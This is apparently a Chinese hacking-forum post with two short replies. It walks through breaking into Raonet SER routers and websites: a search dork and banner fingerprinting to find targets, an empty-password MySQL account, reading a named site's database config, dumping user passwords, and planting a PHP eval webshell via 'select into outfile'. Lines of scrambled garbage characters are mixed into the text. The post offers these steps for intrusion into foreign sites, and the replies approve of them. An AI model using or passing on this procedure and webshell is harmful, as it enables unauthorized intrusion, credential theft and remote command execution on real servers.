利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

1：google搜索'Raonet Subscriber Ethernet Router'
" k( F  P0 e# ?
! N: t+ I  E9 Q$ F2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
: k2 E  g$ b: t9 I4 v+ R# V1 R/ n
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
3 H. u4 y( _4 k0 ]- O

8 h  p- Y  G" E8 |
) F' w' {7 y$ }$ `' Y8 N入侵步骤：

4 ], ~$ K$ {, v) o" K1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

" @: O% @' j) X2 [/ l# L5 c6 y2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
6 `+ |9 \4 g/ b" h/ t7 }1 ~use ser_500
select id,passwd from user;
, V. R5 o- s6 W, b4:通过数据库写入webshell，执行命令：
  W: V  h& q7 z  g8 X% p1 P  r( m+ luse mysql;
! E8 \3 \! _6 i+ P' Y1 J$ j9 fcreate table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
" U; l' K  T6 |8 u* x0 d1 q) {select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;

5:连接后门shell.php

7 ^2 \) W! g" I$ y/ D2 G6 r6. 搞定！

8 b, b* g3 l( j  v3 T) t

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。